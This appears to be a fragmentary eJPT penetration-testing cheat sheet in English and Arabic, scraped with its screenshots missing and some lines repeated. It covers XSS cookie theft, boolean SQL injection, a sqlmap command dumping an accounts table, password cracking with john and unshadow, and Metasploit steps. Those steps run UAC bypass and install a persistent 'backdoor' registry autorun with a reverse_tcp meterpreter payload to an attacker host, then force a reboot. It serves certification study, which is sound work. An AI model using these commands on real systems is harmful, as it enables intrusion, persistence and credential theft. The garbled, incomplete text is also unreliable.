EJPT Cheat Sheet
EJPT Cheat Sheet
❖ Here we can see that in the include folder there is a file named
config.old. Let us inspect it and see if there is anything
interesting in it:
❖ With the information just obtained, let us try to log into the web application:
CROSS SITE SCRIPTING
❖ Reflected xss :
#استغاللها عن طريق رابط الموقع
>http://victim.site/search.php?find=<payload
❖ Stored xss :
#تتخزن في الصفحة و يتم استغاللها داخل الصفحة
#انشاء سيرفر لتخزين الكوكيز و يتم حقن البايلود في الصفحة
المصابة ،عندما يزورها احد يتم سرقة الكوكيز و ارسالة على
سيرفر المهاجم
❖ Find all the xss
# Reflected xss :
# Then let us try with the following payload (we changed the
Boolean condition from 1=1 to 1=2):
# Then let us try with the following payload (we changed the
Boolean condition from 1=1 to 1=2):
❖ DUMP THE DATA
# Then let us try with the following payload (we changed the Boolean condition
from 1=1 to 1=2):
# As we can see from the previous screenshot, sqlmap identifies the parameter
as vulnerable! Now we just have to get the structure of the database and dump
the data. First, let us get a list of tables:
❖ Then dump all the data from the accounts table with the
following command
# sqlmap -u http://10.124.211.96/newsdetails.php?id=1 -D
awd -T accounts –dump
Tools → Preferences
# Malware code :
❖ Blocking a Backdoor :
# Go to Task Manager
# vim / usr/share/wordlists/rockyou.txt
.للتعديل على الملف و اإلضافة علية
# Now that we have these files into our local machine, we can
use john the ripper and unshadow to crack the user passwords.
First let us use unshadow to get the password hashes:
d$
c$
admin$
Null session :
❖ Exploit Null session with windows:
❖ Configuring a Payload :
# meterpreter payload :
❖ command:
# background →تخلي الجلسة معلقه
# use exploit/windows/local/bypassuac
# show options
# set session 1
# exploit
# meterpreter attack command :
المسار الي انت فيه → # pwd
التنقل بين المسارات → # cd
عرض محتوى المسار → # ls
# use exploit/windows/local/persistence
# set reg_name backdoor
# set exe_name backdoor
# set startup SYSTEM
# set session 1
# set payload windows/meterpreter/reverse_tcp
# set exitfunc process
# set lhost 192.168.99.100
# set lport 5555
# As you can see, the backdoor has been successfully installed, but it
was just planted on the target system in the registry’s autorun area.
In order to run the backdoor, we need to perform a system reboot (a
user who switches off and on his machine would have caused the
backdoor to run eventually). Let’s go back to our meterpreter session
and spawn a shell to reboot the victim system:
# sessions -i 1
# shell
# shutdown /r /f